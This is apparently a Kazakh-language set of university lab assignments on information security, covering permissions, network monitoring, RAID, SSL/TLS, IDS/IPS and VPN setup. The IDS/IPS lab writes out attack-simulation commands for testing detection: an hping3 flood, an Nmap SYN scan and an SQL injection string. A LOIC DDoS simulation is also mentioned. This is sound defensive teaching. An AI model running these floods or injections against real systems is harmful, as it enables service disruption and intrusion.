Мақсаты: Пайдаланушы рұқсаттарын тексеріп, жүйеге кіруге рұқсаттары бар екенін анықтау.

Рұқсаттарды тексеру: Пайдаланушының жүйеге кіруге және белгілі бір ресурстарға қолжетімділігін тексеріңіз. Windows жүйесінде net user [username] командасы арқылы пайдаланушының құқықтарын тексеруге болады. Linux жүйесінде id [username] немесе groups [username] командаларын орындап, пайдаланушының қандай топтарға жататынын тексеріңіз. Қолданушының рұқсаттарын тестілеу: Пайдаланушы ретінде жүйеге кіріп, рұқсат етілген әрекеттерді орындап көріңіз. Мысалы: Егер пайдаланушы тек оқуға рұқсат болса, ол файлды өзгерте алмайтынына көз жеткізіңіз. Әкімші ретінде жүйеге кіріп, пайдаланушы рұқсаттарын өзгерту әрекетін жасаңыз. Рұқсаттар өзгерту: Құқықтардың дұрыс тағайындалуын тексеріп, қажет болса, рұқсаттарды өзгертіңіз. Сұрақтар: Windows немесе Linux жүйесінде пайдаланушы рұқсаттарын қалай тексеруге болады? Пайдаланушының рұқсаттарын өзгерту үшін қандай командалар мен құралдарды қолдануға болады?

ҚОРЫТЫНДЫ

Бұл практикалық тапсырмалар аутентификация механизмін орнату, көпфакторлы аутентификацияны қосу, пайдаланушы тіркеу және рұқсаттарды басқару дағдыларын дамытуға көмектеседі. Қауіпсіздік мақсатында жүйенің аутентификациясы мен рұқсаттары дұрыс конфигурацияланған кезде, жүйенің жалпы қауіпсіздігі жоғары болады. DDoS шабуылына қарсы қорғаныс жүйелерін құру. 1. DDoS шабуылдары туралы түсінік алу. Әр түрлі DDoS шабуылдарын симуляциялау үшін құралдарды (мысалы, LOIC) қолдану. Шабуылдарды анықтау және оларды тоқтату үшін веб-сервердегі қауіпсіздік шараларын қабылдау. Сервердің әрекет ету қабілеттілігін тексеру және қорғауды баптау. бойынша практикалық тапсырмалар және есептер

Практикалық сабақ № 7

Тақырыбы: Желілік мониторинг құралдарын орнату және конфигурациялау. Wireshark немесе Nmap сияқты желілік мониторинг құралдарын орнату.

Желі трафигін бақылау, хаттамалар мен пакеттерді талдау. Желідегі шабуылдарды анықтау және оларды қорғау үшін шаралар қолдану. Қауіпсіздік инциденттерін анықтау және тіркеу.

Тапсырма 1: Wireshark орнату және конфигурациялау

Мақсаты: Wireshark құралын орнату және желі трафигін талдауды үйрену.

Wireshark орнату: Windows: Wireshark ресми сайтынан Wireshark орнатушысын жүктеп, орнатыңыз. Linux: Командалық жол арқылы Wireshark орнатыңыз: sudo apt update sudo apt install wireshark Wireshark жұмысын бастау: Wireshark құралын ашып, Capture мәзірінен Start таңдаңыз. Желі адаптеріңізді таңдап, трафикті мониторингтеңіз. Трафикті бақылау: HTTP, DNS, ICMP пакеттерін бақылау үшін фильтрлерді пайдаланыңыз. http — HTTP трафигін бақылау. dns — DNS сұрауларын бақылау. icmp — ICMP пакеттерін бақылау. Пакеттерді талдау: Wireshark арқылы желі трафигін бақылап, пакеттердің деректерін (source, destination, protocol, payload) талдаңыз. Протоколдың әртүрлі деңгейлері мен жолдарын бақылап, олардың құрылымын түсініңіз. Сұрақтар: Wireshark құралын орнату процесінде қандай қадамдарды орындау керек? Желілік трафикті талдау үшін Wireshark фильтрлерін қалай қолдануға болады?

Тапсырма 2: Nmap орнату және желі сканерлеу

Мақсаты: Nmap құралын орнатып, желі құрылымын сканерлеу және шабуылдарды анықтау.

Nmap орнату: Windows: Nmap-ті ресми сайттан жүктеп орнатыңыз. Linux: Командалық жол арқылы орнату: sudo apt install nmap Желі сканерлеу: Basic Scan: Белгілі бір IP мекенжайына сканерлеу жүргізіңіз: nmap 192.168.1.1 Сканерлеу түрлері: Nmap түрлі сканерлеу түрлерін қолдана алады: TCP Connect Scan: nmap -sT 192.168.1.1 SYN Scan (Fast scan): nmap -sS 192.168.1.1 Желіні анықтау: Сканерлеу нәтижелерін талдап, ашық порттар мен қызметтерді анықтаңыз. Сканерлеу нәтижелері бойынша қызметтер мен олардың нұсқаларын тексеріңіз. Шабуылдарды анықтау: Желідегі ашық порттар мен осалдықтарды анықтап, оларға қатысты қауіпсіздік шараларын орнатыңыз. Сұрақтар: Nmap құралын қандай мақсаттарда қолдануға болады? Nmap арқылы желі сканерлеу кезінде қандай параметрлерді пайдалануға болады?

Тапсырма 3: Желідегі шабуылдарды анықтау және қорғау үшін шаралар қолдану

Мақсаты: Желідегі шабуылдарды анықтау, олардың сипатын анықтау және қорғаныс шараларын қабылдау.

Shodan арқылы желі құрылымын тексеру: Shodan - бұл интернетке қосылған құрылғыларды іздеу құралы. Shodan арқылы сіз өз желіңіздің ашық порттары мен құрылғыларын таба аласыз. Shodan-ды пайдалану үшін Shodan тіркелгіні жасаңыз және белгілі бір IP немесе домен бойынша құрылғыларды іздеңіз. Нысанның осалдықтарын сканерлеу: Nmap-ты пайдаланып белгілі бір нысандарды сканерлеу және олардың қауіпсіздігін тексеру. Мысалы: nmap -sV -O 192.168.1.1 Сканерлеу нәтижесінде ашық порттар мен қызметтерді қарап, оларды қорғау үшін тиісті шараларды қабылдаңыз. Firewall баптауларын орнату: Желідегі шабуылдарды алдын алу үшін iptables (Linux) немесе Windows Firewall сияқты қауіпсіздік ережелерін орнатыңыз. Ашық порттарды тексеріп, қажетсіз порттарды жабу: sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT # HTTP трафигіне рұқсат sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT # HTTPS трафигіне рұқсат sudo iptables -A INPUT -p tcp --dport 22 -j DROP # SSH трафигін жабу IDS/IPS жүйелерін орнату: Snort немесе Suricata сияқты IDS/IPS (Intrusion Detection/Prevention System) жүйелерін орнату арқылы желіде орын алатын шабуылдарды анықтап, тоқтату. IDS жүйесін конфигурациялау арқылы күмәнді трафик пен шабуылдарды тіркеу. Сұрақтар: Шабуылдарды анықтау үшін қандай құралдар қолданылады? Желідегі шабуылдарды қорғау үшін қандай құралдарды баптау керек?

Тапсырма 4: Қауіпсіздік инциденттерін анықтау және тіркеу

Мақсаты: Қауіпсіздік инциденттерін анықтап, оларды тіркеу және талдау.

Қауіпсіздік инциденттерін тіркеу: Веб-серверде немесе желіде орын алған қауіпсіздік оқиғаларын тіркеу үшін журналдарды (log files) пайдаланыңыз. Apache немесе Nginx журналдары: tail -f /var/log/apache2/access.log Желідегі шабуылдарды тіркеу үшін журналдарда күмәнді әрекеттер мен сұрауларды іздеңіз. Журналдарды талдау: Журналдарды тексеру арқылы қандай да бір шабуыл әрекеттерін немесе қолжетімділіктің бұзылуын анықтау. Журналдарға grep немесе awk сияқты құралдарды қолдану: grep "Failed password" /var/log/auth.log # SSH сәтсіз кіру әрекеттерін іздеу Қауіпсіздік оқиғаларын тіркеу: Шабуылдарды анықтағаннан кейін, оларды тіркеу және тиісті шараларды қолдану үшін қауіпсіздік оқиғаларын басқару жүйелерін (SIEM) пайдалану. Мысалы, Splunk немесе ELK Stack жүйелерін қолдану. Қауіпсіздік шараларын қолдану: Қауіпсіздік инциденттерін анықтап, оларды реттеуге арналған жоспарлар мен шаралар қабылдау. Бұл шараларға уақытша бұғаттау, іздестіру, қосымша мониторинг жасау және қорғау құралдарын жаңарту жатады. Сұрақтар: Қауіпсіздік инциденттерін тіркеу және талдау үшін қандай құралдарды қолдануға болады? Желідегі шабуылдар мен қауіпсіздік оқиғаларын тіркеу үшін қандай журналдарды бақылау керек?

Практикалық сабақ № 8

Тақырыбы: Ақпаратты қорғау үшін RAID конфигурациясын жасау

RAID 0, RAID 1, RAID 5 және RAID 10 құрылымдарын түсіну. RAID массивін жасау үшін қажетті аппараттық құралдарды дайындау. RAID деңгейін таңдап, жүйені конфигурациялау. RAID массивінің жұмысын тексеру.

Тапсырма 1: RAID 0, RAID 1, RAID 5 және RAID 10 деңгейлерін түсіну

Мақсаты: RAID деңгейлерінің ерекшеліктерін түсіну.

RAID 0 – Striping: Мәліметтер бірнеше дискіге бөлек жазылады (бөліктерге бөлінеді). Дискілердің жылдамдығын арттырады, бірақ сенімділік жоқ. Жоғалтылған деректер: Бір диск зақымдалса, барлық мәліметтер жоғалады. Минимум дисктер: 2 RAID 1 – Mirroring: Мәліметтер екі дискіде толық көшірмемен сақталады. Сенімділігі жоғары, бірақ өнімділігі төмендеу. Жоғалтылған деректер: Бір диск зақымдалса, мәліметтер сақталады. Минимум дисктер: 2 RAID 5 – Striping with Parity: Мәліметтер әр дискіде бөлініп сақталады, бірақ тексеру мәліметтері (parity) бөлек дискке жазылады. Сенімділікті арттырады, себебі бір диск зақымдалса, қалпына келтіруге болады. Жоғалтылған деректер: Бір диск зақымдалса, қалған дисктер мен parity көмегімен қалпына келтіруге болады. Минимум дисктер: 3 RAID 10 (RAID 1+0) – Combines RAID 1 and RAID 0: RAID 1 мен RAID 0 деңгейлерінің қосындысы, екі немесе одан да көп дисктерге деректерді айыру және көшіру. Жоғары өнімділік пен сенімділік ұсынады. Жоғалтылған деректер: Бір диск зақымдалса, екінші диск көшірмесінде сақталады. Минимум дисктер: 4 Сұрақтар: RAID 0 және RAID 1 арасындағы басты айырмашылық қандай? RAID 5 жүйесінде деректерді қалпына келтіру мүмкіндігі қалай жұмыс істейді? RAID 10 деңгейі қандай артықшылықтар ұсынады?

Тапсырма 2: RAID массивін жасау үшін қажетті аппараттық құралдарды дайындау

Мақсаты: RAID конфигурациясын жасау үшін қажетті аппараттық құралдарды дайындау.

Дискілерді таңдау: RAID массивін құру үшін кемінде 2 немесе 3 диск қажет болады (RAID 0, RAID 1, RAID 5 және RAID 10 деңгейлері бойынша). Дискілердің көлемі мен жылдамдығы бірдей болуын қамтамасыз ету маңызды. RAID контроллері: Аппараттық RAID контроллері немесе бағдарламалық RAID пайдалану мүмкіндігі. Аппараттық RAID контроллері жүйе өнімділігін арттырады және қосымша параллельді өңдеуді қамтамасыз етеді. BIOS немесе UEFI конфигурациясы: RAID массивін құру үшін BIOS немесе UEFI жүйесінде RAID режимін қосу керек. Жүйені қайта жүктеп, BIOS/UEFI мәзіріне кіру арқылы RAID режимін таңдаңыз. Сұрақтар: RAID массивін орнату үшін қандай аппараттық құралдар қажет? RAID контроллері мен бағдарламалық RAID арасындағы айырмашылықтар қандай?

Тапсырма 3: RAID деңгейін таңдап, жүйені конфигурациялау

Мақсаты: RAID массивін құру, әр түрлі деңгейлерді таңдау және конфигурациялау.

RAID 0 құру: Кемінде 2 диск қажет. RAID 0 массивін BIOS немесе RAID контроллері көмегімен құрыңыз. Жүйені қайта іске қосып, RAID конфигурациясын жасауға өтініш беру. RAID 1 құру: RAID 1 үшін кемінде 2 диск қажет. Бір дисктің толық көшірмесін екінші дискке жасау керек. RAID массивін BIOS немесе RAID контроллері арқылы конфигурациялау. RAID 5 құру: RAID 5 үшін кемінде 3 диск қажет. RAID 5 массивін конфигурациялау кезінде әр дискке parity ақпаратын автоматты түрде енгізу мүмкіндігі бар. RAID 10 құру: RAID 10 үшін кемінде 4 диск қажет. RAID 1 және RAID 0 деңгейлерінің үйлесімі болып табылады. RAID 10 массивін жасаған кезде дискілердің екі тобы арасында айыру және көшіру процесі орнатылады. Сұрақтар: RAID 0 массивін құру үшін қанша диск қажет және оның артықшылықтары мен кемшіліктері қандай? RAID 1 деңгейін құрудың негізгі мақсаты қандай? RAID 5 және RAID 10 арасындағы басты айырмашылықтарды түсіндіріңіз.

Тапсырма 4: RAID массивінің жұмысын тексеру

Мақсаты: RAID массивінің жұмысын тексеру және деректердің сенімділігін тексеру.

RAID массивінің құрылымын тексеру: Операциялық жүйе арқылы RAID массивін тексеру. Linux жүйесінде mdadm немесе Windows жүйесінде Disk Management құралын пайдалану арқылы RAID массивінің құрылымын көріңіз. Диск зақымдалған жағдайда тексеру: RAID 1 немесе RAID 5 конфигурациясындағы бір дискіні алып тастап, қалған дисктермен массивтің қалпына келуін тексеріңіз. Массив қалпына келсе, операция жүйесі мен деректердің сақталуын тексеріңіз. Өнімділік тексеру: IOzone немесе Bonnie++ сияқты құралдарды пайдалану арқылы RAID массивінің өнімділігін тексеріңіз. RAID 0 массивінің өнімділігі жоғары болса, RAID 1 және RAID 5 массивтері өнімділікті салыстырмалы түрде төмендетуі мүмкін. RAID массивіндегі деректердің қалпына келуін тексеру: Бір диск зақымдалған жағдайда деректердің қалпына келуін тексеру. Мысалы, RAID 5 массивінде бір диск зақымдалса, жүйе деректерді қайта қалпына келтіруі керек. Сұрақтар: RAID массивінің жұмысын қалай тексеруге болады? Диск зақымдалған кезде RAID 1 немесе RAID 5 массиві деректерді қалай қалпына келтіреді?

ҚОРЫТЫНДЫ

Бұл практикалық тапсырмалар RAID массивін құру, конфигурациялау және оның жұмысын тексеру бойынша дағдыларды дамытуға бағытталған. RAID массивтері деректерді қорғау мен жүйенің өнімділігін арттыру үшін маңызды құрал болып табылады. RAID деңгейлері арасында таңдау жасау кезінде сенімділік, өнімділік және дискілердің

Практикалық сабақ № 9

Тақырыбы: SSL/TLS сертификатын орнату және конфигурациялау

Веб-сайт үшін SSL сертификатын алу (мысалы, Let’s Encrypt немесе басқа провайдерден). SSL сертификатын веб-серверге орнату (Apache, Nginx). SSL/TLS байланысын тексеру үшін браузерде веб-сайтты ашу. HTTPS протоколы бойынша веб-сайттың қауіпсіздігін тексеру.

Тапсырма 1: Веб-сайт үшін SSL сертификатын алу

Мақсаты: Веб-сайтқа SSL сертификатын алу және оны конфигурациялау.

Let's Encrypt арқылы SSL сертификатын алу: Let's Encrypt — бұл тегін SSL сертификаттарын ұсынатын қызмет. Certbot бағдарламасын пайдалану арқылы сертификатты алу: Certbot орнату: Ubuntu/Debian: sudo apt install certbot python3-certbot-apache CentOS/RHEL: sudo yum install certbot python3-certbot-apache Сертификат алуды бастау: Apache үшін: sudo certbot --apache Nginx үшін: sudo certbot --nginx Сертификатты алу кезінде доменді және әкімшілік пошта мекенжайын көрсету қажет. Сәтті орнатылғаннан кейін сертификат автоматты түрде жаңартылып отырады. Басқа провайдерден SSL сертификатын алу: Егер коммерциялық SSL сертификатын алғыңыз келсе, GoDaddy, DigiCert, GlobalSign немесе басқа провайдерлерді пайдалану. Әдетте, сертификат алғаннан кейін сертификат пен жеке кілт файлдарын веб-серверге орнатуға болады. Сұрақтар: Let's Encrypt арқылы SSL сертификатын алу үшін қандай қадамдарды орындау қажет? SSL сертификатын алу үшін қандай қызметтер мен провайдерлерді пайдалануға болады?

Тапсырма 2: SSL сертификатын веб-серверге орнату (Apache, Nginx)Мақсаты: Веб-серверде SSL сертификатын орнату және конфигурациялау. Apache веб-серверіне сертификатты орнату: Алдыңғы қадамда алынған сертификатты және жеке кілтті веб-сервердің конфигурациялық директориясына көшіру. Әдетте, сертификаттар /etc/ssl/certs/ және жеке кілттер /etc/ssl/private/ директорияларына орналасады. ssl.conf немесе веб-сервердің виртуалды хост конфигурация файлында келесі жолдарды қосу керек: SSLEngine on SSLCertificateFile /etc/ssl/certs/your_domain.crt SSLCertificateKeyFile /etc/ssl/private/your_domain.key SSLCertificateChainFile /etc/ssl/certs/chain.pem Веб-серверді қайта іске қосу: sudo systemctl restart apache2 Nginx веб-серверіне сертификатты орнату: Nginx конфигурациялық файлына SSL сертификаты мен жеке кілттің жолын көрсету: nginx server { listen 443 ssl; server_name your_domain.com; ssl_certificate /etc/ssl/certs/your_domain.crt; ssl_certificate_key /etc/ssl/private/your_domain.key; } Nginx конфигурациясын тексеру: sudo nginx -t Веб-серверді қайта іске қосу: sudo systemctl restart nginx Сұрақтар: SSL сертификатын Apache веб-серверіне орнату үшін қандай конфигурация өзгерістерін жасау қажет? Nginx веб-серверінде SSL сертификатын орнату кезінде қандай қадамдарды орындау қажет?

Тапсырма 3: SSL/TLS байланысын тексеру үшін браузерде веб-сайтты ашу

> Мақсаты: Браузер арқылы веб-сайттың SSL/TLS сертификатының дұрыстығын тексеру.

Веб-сайтты браузерде ашу: Веб-сайтты HTTPS арқылы ашыңыз: https://your_domain.com. Егер сертификат дұрыс орнатылған болса, браузерде жасыл құлып белгісі немесе "Secure" деген белгі пайда болады. Браузердегі SSL сертификатының мәліметтерін тексеру: Браузердің адрес жолағындағы құлып белгісін басып, сертификат туралы мәліметтерді қараңыз. Сертификаттың жарамдылығын, мерзімін, және кім бергенін тексеріңіз. Сұрақтар: SSL сертификаты дұрыс орнатылғанын қалай тексеруге болады? Браузерде сертификат туралы мәліметтерді қалай көруге болады?

Тапсырма 4: HTTPS протоколы бойынша веб-сайттың қауіпсіздігін тексеру

> Мақсаты: Веб-сайттың қауіпсіздігін тексеру және оның HTTPS конфигурациясын бағалау.

SSL Labs арқылы тестілеу: SSL Labs веб-сайтына өтіп, өзіңіздің доменіңізді енгізіп, сертификаттың қауіпсіздігін тексеріңіз. SSL Labs веб-сайты сіздің серверіңіздің конфигурациясына байланысты балл береді, мысалы, A+, A, немесе B. SSL/TLS хаттамаларын тексеру: Браузер немесе curl командасы арқылы веб-сайттың SSL/TLS байланысын тексеру: curl -I https://your_domain.com Бұл команда сервердің SSL жауаптарын көрсетеді. Сервердің дұрыс жұмыс істеп тұрғанын тексеріңіз. SSL Checker қолдану: SSL Checker сайтында сертификаттың дұрыстығын және толық тізбегін тексеру. Бұл құрал сіздің сертификат тізбегін (certificate chain) тексеруге және қолданушы сертификаттың дұрыс орнатылғанын тексеруге көмектеседі. Сертификаттың жаңартылуын автоматтандыру: Certbot немесе басқа құралдар көмегімен сертификатты автоматты түрде жаңартуды орнату. Сұрақтар: SSL сертификатының қауіпсіздігін тексеру үшін қандай құралдарды пайдалануға болады? SSL/TLS хаттамаларын тексеру үшін қандай командаларды қолдануға болады?

Практикалық сабақ №10

Тақырыбы: Шабуылдардан қорғау үшін IDS/IPS жүйесін орнату

IDS/IPS жүйесін (мысалы, Snort, Suricata) орнату. Желілік трафикті бақылау және шабуылдарды анықтау үшін жүйені конфигурациялау. Жүйе арқылы шабуылдарды симуляциялап, олардың тіркелуін бақылау. Шабуылдың детектісі мен алдын алу шараларын тексеру.

IDS (Intrusion Detection System) және IPS (Intrusion Prevention System) жүйелері компьютерлік желілердегі шабуылдарды анықтау мен алдын алу үшін өте маңызды құралдар болып табылады. Бұл жүйелер желілік трафикті бақылап, қауіпсіздік қатерлерін анықтап, оларды ескерту немесе алдын алу мақсатында әрекет жасайды. Практикалық тапсырмалар мен

есептерді орындау барысында Snort немесе Suricata сияқты IDS/IPS жүйелерін қолдану тиімді болады. Төменде IDS/IPS жүйелерін орнату, конфигурациялау және шабуылдарды тексеру бойынша бірнеше практикалық тапсырмалар мен есептер келтірілген. IDS/IPS жүйесін орнату Тапсырма: Snort немесе Suricata IDS/IPS жүйесін орнатыңыз. Қадамдар:

- Snort орнату: Debian/Ubuntu: sudo apt update sudo apt install snort CentOS/RHEL: sudo yum install snort Suricata орнату: Debian/Ubuntu: sudo apt update sudo apt install suricata CentOS/RHEL: sudo yum install suricata Орнатудан кейін, IDS жүйесін дұрыс конфигурациялау үшін оның конфигурациялық файлдарын (мысалы, /etc/snort/snort.conf немесе /etc/suricata/suricata.yaml) тексеру қажет. Желілік трафикті бақылау және шабуылдарды анықтау Тапсырма: IDS/IPS жүйесін конфигурациялап, желілік трафикті бақылап, шабуылдарды анықтау. Қадамдар:
- IDS/IPS жүйесін іске қосыңыз: Snort: sudo snort -A console -c /etc/snort/snort.conf -i eth0 Suricata: sudo suricata -c /etc/suricata/suricata.yaml -i eth0 Желілік трафикті бақылау үшін tcpdump немесе Wireshark сияқты құралдарды пайдаланыңыз. Мысалы: sudo tcpdump -i eth0
- IDS/IPS жүйесі арқылы шабуылдарды анықтау үшін түрлі шабуылдар жасауға болады (мысалы, DoS шабуылы, port scanning, SQL injection).
- Шабуылдарды симуляциялау және олардың тіркелуін бақылау Тапсырма: Шабуылдарды симуляциялап, IDS/IPS жүйесінің оларды анықтау мүмкіндігін тексеру. Қадамдар: DoS шабуылы (Denial of Service): hping3 немесе stress құралдарын пайдаланып DoS шабуылын жасаңыз: sudo hping3 --flood --rand-source -p 80 <target_ip> Port Scanning (Nmap): Nmap құралын пайдаланып порттарды сканерлеңіз: sudo nmap -sS <target_ip> SQL Injection (Web Application): SQL injection шабуылын симуляциялап, IDS жүйесінің бұл шабуылды анықтауын бақылаңыз: ' OR 1=1 -- IDS/IPS жүйесінің журналдарын тексеріңіз: Snort журналдары: cat /var/log/snort/alert Suricata журналдары: cat /var/log/suricata/eve.json
- Шабуылдың детектісі мен алдын алу шараларын тексеру Тапсырма: IDS/IPS жүйесі арқылы шабуылдың детектісі мен алдын алу шараларын тексеру. Қадамтар: Snort немесе Suricata конфигурациясы арқылы алдын алу шараларын қосу: Snort IPS режимінде іске қосу: sudo snort -A alert_fast -c /etc/snort/snort.conf -i eth0 -K ascii Suricata IPS режимінде іске қосу: sudo suricata -c /etc/suricata/suricata.yaml -i eth0 --runmode ips Шабуылдың алдын алу: IDS жүйесі шабуылды анықтаған кезде, IDS жүйесі белгілі бір әрекеттерді жасай алады (мысалы, трафикті блоктау немесе ескерту жіберу). Snort үшін IPS режимін қосу арқылы жүйе шабуылды алдын ала анықтап, оны бұғаттай алады. Шабуылдардың тіркелгені мен алдын алу шараларын тексеру үшін журналдарды тексеріңіз.

ҚОРЫТЫНДЫ ЕСЕП

Есеп: Орнатылған IDS/IPS жүйелерінің конфигурациясын, шабуылдарды анықтаудың тиімділігін, және алдын алу шараларын тексеру нәтижелерін құжаттаңыз. Есепте келесі ақпаратты қамтуы тиіс:

- Қолданылған IDS/IPS жүйелерінің орнату және конфигурациялау қадамдары.
- Симуляцияланған шабуылдардың нәтижелері мен олардың тіркелуі.
- Шабуылдарды алдын ала анықтаудың және бұғаттаудың тиімділігі.

ҚОРЫТЫНДЫ

IDS/IPS жүйесін орнату және конфигурациялау арқылы желілік шабуылдарды тиімді түрде бақылауға және алдын алуға болады. Бұл тапсырмалар жүйенің жұмысын түсінуге және нақты шабуылдармен күресуге көмектеседі. Практикалық сабақ №12

Тақырыбы: VPN қолдану арқылы қауіпсіз байланыс орнату

VPN серверін орнату (мысалы, OpenVPN, WireGuard). VPN клиентін орнату және VPN арқылы интернетке қосылу. VPN арқылы шифрланған байланыс орнату және оның жұмысын тексеру. VPN қауіпсіздігін тексеру үшін сыртқы трафикті бақылау.

VPN (Virtual Private Network) жүйесі интернет арқылы қауіпсіз байланыс орнатуға мүмкіндік береді. Ол трафикті шифрлап, деректердің қауіпсіздігін қамтамасыз етеді. VPN серверін орнату және клиентпен қосылу бойынша бірнеше практикалық тапсырмалар мен қадамдарды орындау арқылы жүйенің жұмысын тексеруге болады. Мұнда OpenVPN және WireGuard сияқты танымал VPN шешімдерін қолдануды қарастырамыз.

1. VPN серверін орнату

1.1 OpenVPN серверін орнату Тапсырма: OpenVPN серверін орнату.

Қадамдар:

- OpenVPN серверін орнату:
- Debian/Ubuntu: sudo apt update sudo apt install openvpn easy-rsa
- CentOS/RHEL: sudo yum install epel-release sudo yum install openvpn easy-rsa
- Easy-RSA құралын қолдану арқылы сертификаттарды жасау: make-cadir ~/openvpn-ca cd ~/openvpn-ca source vars ./clean-all ./build-ca ./build-key-server server ./build-dh ./build-key client
- OpenVPN серверінің конфигурациясын жасау: OpenVPN конфигурация файлын /etc/openvpn/server.conf жолында жасаңыз және оны тиісті түрде орнатыңыз.
- OpenVPN серверін іске қосу: sudo systemctl start openvpn@server sudo systemctl enable openvpn@server

1.2 WireGuard серверін орнату Тапсырма: WireGuard серверін орнату.

Қадамдар:

- WireGuard орнату:
- Debian/Ubuntu: sudo apt update sudo apt install wireguard
- CentOS/RHEL: sudo yum install epel-release sudo yum install wireguard-tools
- WireGuard конфигурация файлын жасау: Сервердің конфигурациясы (/etc/wireguard/wg0.conf) мысалы: [Interface] Address = 10.0.0.1/24 PrivateKey = <сервердің жеке кілті> ListenPort = 51820

[Peer] PublicKey = <клиенттің ашық кілті> AllowedIPs = 10.0.0.2/32

- WireGuard серверін іске қосу: sudo wg-quick up wg0 sudo systemctl enable wg-quick@wg0
- VPN клиентін орнату

2.1 OpenVPN клиентін орнату Тапсырма: OpenVPN клиентін орнату және серверге қосылу.

Қадамдар:

- OpenVPN клиентін орнату:
- Debian/Ubuntu: sudo apt update sudo apt install openvpn
- CentOS/RHEL: sudo yum install openvpn
- Клиенттің конфигурация файлын жасау: OpenVPN сервері арқылы алынған конфигурация файлын клиентте қолдану. Конфигурация файлының мысалы: client dev tun proto udp remote <сервердің IP мекенжайы> 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt cert client.crt key client.key remote-cert-tls server comp-lzo verb 3
- VPN серверіне қосылу: sudo openvpn --config /path/to/client.ovpn

2.2 WireGuard клиентін орнату

Тапсырма: WireGuard клиентін орнату және серверге қосылу. Қадамдар:

- WireGuard клиентін орнату:
- Debian/Ubuntu: sudo apt update sudo apt install wireguard
- CentOS/RHEL: sudo yum install wireguard-tools
- Клиенттің конфигурация файлын жасау: WireGuard клиентінің конфигурациясы (/etc/wireguard/wg0.conf) мысалы: [Interface] Address = 10.0.0.2/24 PrivateKey = <клиенттің жеке кілті>

[Peer] PublicKey = <сервердің ашық кілті> Endpoint = <сервердің IP мекенжайы>:51820 AllowedIPs = 0.0.0.0/0, ::/0

- WireGuard клиентін іске қосу: sudo wg-quick up wg0 sudo systemctl enable wg-quick@wg0
- VPN арқылы шифрланған байланыс орнату және тексеру Тапсырма: VPN арқылы шифрланған байланыс орнату және оның жұмысын тексеру. Қадамдар:
- VPN клиентін қосқаннан кейін, интернетке қосылып, трафиктің шифрланғанын тексеру үшін келесі командаларды орындаңыз.
- IP мекенжайын тексеру: Клиент қосылған кезде, оның IP мекенжайын тексеру үшін команданы орындаңыз: curl ifconfig.me Бұл команданы серверге қосылғанға дейін және кейін орындаңыз. Егер VPN жұмыс істеп тұрса, IP мекенжайы өзгеруі тиіс.
- Шифрланған трафикті тексеру: Wireshark немесе tcpdump арқылы трафикті бақылаңыз. VPN арқылы жіберілген трафиктің шифрланғанын тексеру үшін: sudo tcpdump -i tun0
- VPN қауіпсіздігін тексеру үшін сыртқы трафикті бақылау Тапсырма: VPN қауіпсіздігін тексеру және сыртқы трафикті бақылау. Қадамдар:
- Сыртқы трафикті бақылау:
  Сыртқы трафикті бақылау үшін tcpdump немесе Wireshark құралдарын пайдаланыңыз. VPN қосылғаннан кейін трафиктің шифрланғанын және тек VPN арқылы өтетінін тексеріңіз: sudo tcpdump -i eth0
- DNS Leak тексеру:
  VPN қызметі арқылы DNS сору сессияларын тексеру үшін арнайы құралдар (мысалы, DNS Leak Test) пайдаланыңыз. Бұл құрал VPN арқылы DNS сұрауларының дұрыс бағытталып жатқанына көз жеткізуге көмектеседі.
- VPN трафигінің ағып кетуін тексеру:
  VPN ағып кетуін тексеру үшін ipleak.net сайтынан тексеріңіз. Егер сіздің шынайы IP мекенжайыңыз көрсетілсе, VPN қауіпсіздігі әлсіз болуы мүмкін.

ҚОРЫТЫНДЫ

VPN серверін орнатып, оны клиентпен қосу және шифрланған байланыс орнату арқылы интернеттегі қауіпсіздікті арттыруға болады. Шифрланған трафикті тексеру және VPN қауіпсіздігін бақылау үшін түрлі құралдарды пайдалану тиімді. Осы тапсырмаларды орындау арқылы VPN-ның дұрыс жұмыс істеп тұрғанын және сыртқы қауіптерден қорғаныс деңгейін тексеруге болады. Практикалық сабақ №13

Тақырыбы: Жүйеде файлдық жүйелерді қорғау

Файлдық жүйелердің (NTFS, EXT4) қауіпсіздігін зерттеу. Файлдар мен деректерді шифрлау (BitLocker, VeraCrypt). Құжаттар мен деректерді бекіту және олардың қорғалуы үшін құқықтарды орнату. Файлдар мен деректердің қауіпсіздігін тексеру. Жүйеде файлдық жүйелердің қауіпсіздігін қорғау — ақпараттың құпиялылығын, тұтастығын және қолжетімділігін қамтамасыз ету үшін маңызды. Бұл тапсырмаларда біз NTFS және EXT4 файлдық жүйелерінің қауіпсіздігін зерттеп, BitLocker, VeraCrypt сияқты құралдар арқылы файлдар мен деректерді шифрлап, деректерге құқықтарды орнату мен қорғау шараларын қарастырамыз. Сондай-ақ, файлдар мен деректердің қауіпсіздігін тексеру әдістері туралы айтатын боламыз.

1. Файлдық жүйелердің қауіпсіздігін зерттеу

1.1 NTFS (Windows) қауіпсіздігін зерттеу

Тапсырма: NTFS файлдық жүйесін қауіпсіз ету үшін оның конфигурациясын және құқықтарын тексеру. Қадамдар:

- NTFS файлдық жүйесінде құқықтар мен рұқсаттарды тексеру:
- Windows жүйесінде, командалық жол арқылы файл немесе каталог құқықтарын тексеру үшін icacls командасын пайдаланыңыз: icacls "C:\path\to\folder" Бұл команда көрсетілген папкадағы барлық файлдардың құқықтарын көрсетеді.
- Құқықтарды өзгерту:
- Белгілі бір қолданушыға немесе топқа рұқсаттарды өзгерту үшін келесі команданы қолдануға болады: icacls "C:\path\to\folder" /grant UserName:F Бұл команда көрсетілген каталог үшін UserName қолданушысына толық құқық береді.

- NTFS журналын тексеру (NTFS Journaling): NTFS файлдық жүйесі журналдауды қолдайды. Файлдарды жаңарту немесе жою әрекеттері журналға жазылады. Бұл жүйенің тұрақтылығын және деректердің тұтастығын сақтау үшін маңызды.

1.2 EXT4 (Linux) қауіпсіздігін зерттеу

Тапсырма: EXT4 файлдық жүйесіндегі құқықтарды тексеру және қорғауды зерттеу. Қадамдар:

- EXT4 файлдық жүйесінің құқықтарын тексеру: Linux жүйесінде файл немесе каталог құқықтарын ls -l командасымен тексеруге болады: ls -l /path/to/file_or_folder Бұл команда файлдың иесі, тобы және рұқсаттар туралы ақпаратты көрсетеді.
- Құқықтарды өзгерту: chmod және chown командаларын пайдаланып, құқықтарды өзгерту:
- Рұқсаттарды өзгерту: sudo chmod 700 /path/to/folder
- Иесі мен тобын өзгерту: sudo chown user:group /path/to/folder
